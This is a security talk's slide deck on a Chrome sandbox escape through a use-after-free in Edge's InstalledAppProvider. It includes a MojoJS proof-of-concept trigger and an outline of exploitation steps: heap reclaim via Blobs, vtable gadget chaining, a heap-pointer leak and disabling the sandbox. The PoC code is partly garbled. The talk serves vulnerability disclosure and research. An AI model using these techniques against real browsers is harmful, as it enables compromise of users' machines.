Cleanly Escaping the Chrome Sandbox

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Agenda

- Chrome Security Background
- Chrome IPC (Mojo)
- Bug description
- Exploit details
- Takeaways



Chrome Security Model

- Chrome limits most of the web's attack surface to sandboxed processes
 - o DOM rendering, script execution, media decoding, etc.
- Site Isolation keeps data from different origins in separate processes
- Central "browser" process which runs unsandboxed
- A full Chrome exploit typically requires 2 or more bugs
 - o One (or more) to get code execution in a sandboxed process
 - One (or more) to escape the sandbox



Chrome IPC





- Primary IPC platform used in Chrome
 - o "Legacy" IPC is almost entirely phased out
- Platform-agnostic implementation of most common IPC primitives
- Specify messages in IDL format
- Code generated for each target language



```
// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
    // Filters |relatedApps|, keeping only those which are both installed on the
    // user's system, and related to the web origin of the requesting page.
    // Also appends the app version to the filtered apps.
    FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
    => (array<RelatedApplication> installed_apps);
};
```

C++ bindings

Java bindings

JS bindings





- Mojo can generate JavaScript bindings
- Blink flag: --enable-blink-features=MojoJS
 - Compromised renderer can enable this by flipping a bit in memory
- Write sandbox escape exploits in JS!

RenderFrameHost

- Each frame backed by a RenderFrameHost (RFH)
- Many mojo interfaces implemented per-frame



Bug Details

A Bug's Life

- Edge is now Chromium-based!
- Windows version of InstalledAppProvider implemented by Edge team
 - Android version used Java mojo bindings
 - Windows version written in C++
- Landed in Chrome 81 as an experimental feature
 - UAF vuln reachable without flag enabled!
- Vuln coincidentally moved behind flag in Chrome 82
- Reported just before Chrome 81 hit stable



Bug Details

InstalledAppProviderImpl stores raw pointer to RFH

```
void InstalledAppProviderImpl::FilterInstalledApps(
    std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
    const GURL& manifest_url,
    FilterInstalledAppsCallback callback) {
    if (render_frame_host_->GetProcess()}->GetBrowserContext()->IsOffTheRecord()) {
        std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
        return;
    }
    ...
}
```

- RFH can be freed from the renderer
 - o e.g. by removing an iframe
- InstalledAppProviderImpl kept alive as long as mojo connection open



Proof of Concept

PoC (Overview)

- Create a new RFH by adding an iframe
- In the subframe, request an InstalledAppProvider
- Free the RFH by deleting the iframe
- Issue: how to keep mojo connection alive from JS?
 - Pass the handle to the parent frame before destroying it!
 - We used MojoInterfaceInterceptor
- Call FilterInstalledApps on the iframe's handle
 - UAF occurs!



PoC (Code)

```
// runs in the parent frame
function triggerBug() {
 var frame = allocateRFH();
 // intercept bindInterface calls for this process to accept the handle from the child
 let interceptor = new MojoInterfaceInterceptor("dummy", "process");
 interceptor.oninterfacerequest = function(e) {
    interceptor.stop();
    // bind and return the remote
   var provider_ptr = new blink.mojom.InstalledAppProvi<u>derPtr(e.handle)</u>;
   freeRFH(frame);
   // trigger the UAF
    p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
 interceptor.start();
// runs in the child frame
function sendPtr() {
 var pipe = Mojo.createMessagePipe();
 // bind the InstalledAppProvider with the child rfh
 Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
    pipe.handle1, "context", true);
 // pass the endpoint handle to the parent frame
 Mojo.bindInterface("dummy", pipe.handle0, "process");
```





Exploit Details



- Often useful to control the data of the freed object
- In the browser process, very little allocator hardening
- Easy to allocate controlled data of any size via Blobs
- RFH is a huge object => rarely used heap bucket
 - First blob allocated typically replaces freed RFH





- We must control pointers in the RFH object
- With perfect ASLR, we're out of luck
- Windows ASLR weakness:
 - Multiple instances of same image loaded at same address
- chrome.dll base address same in renderer and browser!
- Assuming compromised renderer, this address is easy to obtain

Virtual Function "Gadgets"

• Buggy code:

```
render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()
```

- Virtual function call we control the vtable pointer!
 - o To jump to code, we need a pointer to it at a known address
- All chrome vtables are stored in chrome.dll
 - We can jump to any virtual function!
- How to build stronger primitives?
 - Will need to trigger bug many times


Avoiding a Crash

```
render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()
```

- GetProcess() result is used for another virtual call
- Solution: redirect GetProcess to:

```
SomeType* SomeClass::SomeVirtualFunction() {
   return &class_member_;
}
```

- Returns a pointer some small offset ahead
- Repeat for second virtual call
 - o the third is unconstrained!



Leaking a Heap Address

Call a virtual function of the form:

```
SomeClass::SomeMethod() {
  some_member_ = new Foo();
}
```

- Stores a new allocation into our blob
- Read back the blob data => find heap pointer

One path to sandbox escape

- We now can make pointers to controlled data
- Create arbitrary vptr => can jump to any code!
- One possibility:
 - Jump to stack pivot
 - ROP
- Can we do better?

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Disable the Sandbox

- We're already assuming we can compromise a renderer
 - Renderer unsandboxed => sandbox escape
- --no-sandbox flag propagated to new child processes.
- Benefits:
 - Platform independent
 - Easy! Just call this function:



- We want to call a (nonvirtual) function with controlled arguments
- Chrome Callback objects store function pointers with bound arguments
- Call a virtual function which invokes a callback class member!
 - Control function and arguments



- Edge devs working on new codebase
 - o Greater chance for bugs?
 - Some of these will make it back to Chrome, too
- Most browser process bugs exploitable with MojoJS
- ASLR quirks in Windows makes this bug exploitable
 - MacOS/iOS has similar weakness
 - o Linux/Android is strongest?
- Disabling the sandbox was cleaner and more adaptable than code exec



More details in blog post: https://theori.io/

